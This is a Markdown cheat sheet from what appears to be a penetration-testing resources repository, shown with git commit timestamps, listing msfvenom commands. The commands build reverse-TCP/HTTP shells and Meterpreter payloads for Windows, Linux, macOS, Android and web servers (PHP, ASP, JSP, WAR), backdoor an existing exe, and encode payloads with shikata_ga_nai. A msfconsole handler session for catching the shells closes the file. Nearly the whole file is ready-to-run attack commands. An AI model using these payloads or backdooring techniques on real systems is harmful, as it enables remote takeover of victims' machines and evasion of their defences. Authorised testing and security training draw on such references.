cyber-security-resources/post_exploitation/msfvenom.md

51 lines
2.7 KiB
Markdown
Raw Normal View History

2020-01-07 13:27:05 -05:00
# MSFVenom
MsfVenom is a Metasploit standalone payload generator as a replacement for msfpayload and msfencode.
## Creting Binaries
2020-01-07 13:29:15 -05:00
- `msfvenom -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f exe > example.exe`
- Creates a simple TCP Payload for Windows
- `msfvenom -p windows/meterpreter/reverse_http LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f exe > example.exe`
- Creates a simple HTTP Payload for Windows
2020-01-07 13:49:25 -05:00
- `msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f elf > example.elf`
2020-01-07 13:29:15 -05:00
- Creates a simple TCP Shell for Linux
- `msfvenom -p osx/x86/shell_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f macho > example.macho`
- Creates a simple TCP Shell for Mac
- `msfvenom -p android/meterpreter/reverse/tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} R > example.apk`
2020-01-07 13:46:56 -05:00
- Creates a simple TCP Payload for Android
2020-01-07 13:27:05 -05:00
## Web Payloads
Command Info
2020-01-07 13:29:15 -05:00
- `msfvenom -p php/meterpreter_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f raw > example.php`
- Creates a Simple TCP Shell for PHP
- `msfvenom -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f asp > example.asp`
- Creates a Simple TCP Shell for ASP
- `msfvenom -p java/jsp_shell_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f raw > example.jsp`
- Creates a Simple TCP Shell for Javascript
- `msfvenom -p java/jsp_shell_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f war > example.war`
- Creates a Simple TCP Shell for WAR
2020-01-07 13:27:05 -05:00
## Windows Payloads
2020-01-07 13:29:15 -05:00
- `msfvenom -l encoders`
- Lists all avalaible encoders
- `msfvenom -x base.exe -k -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f exe > example.exe`
- Binds an exe with a Payload (Backdoors an exe)
- `msfvenom -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -e x86/shikata_ga_nai -b \x00 -i 3 -f exe > example.exe`
- Creates a simple TCP payload with shikata_ga_nai encoder
- `msfvenom -x base.exe -k -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -e x86/shikata_ga_nai -i 3 -b “\x00” -f exe > example.exe`
- Binds an exe with a Payload and encodes it
2020-01-07 13:27:05 -05:00
## Getting a Metepreter Shell
```
omar@ares:~$ sudo msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > run
```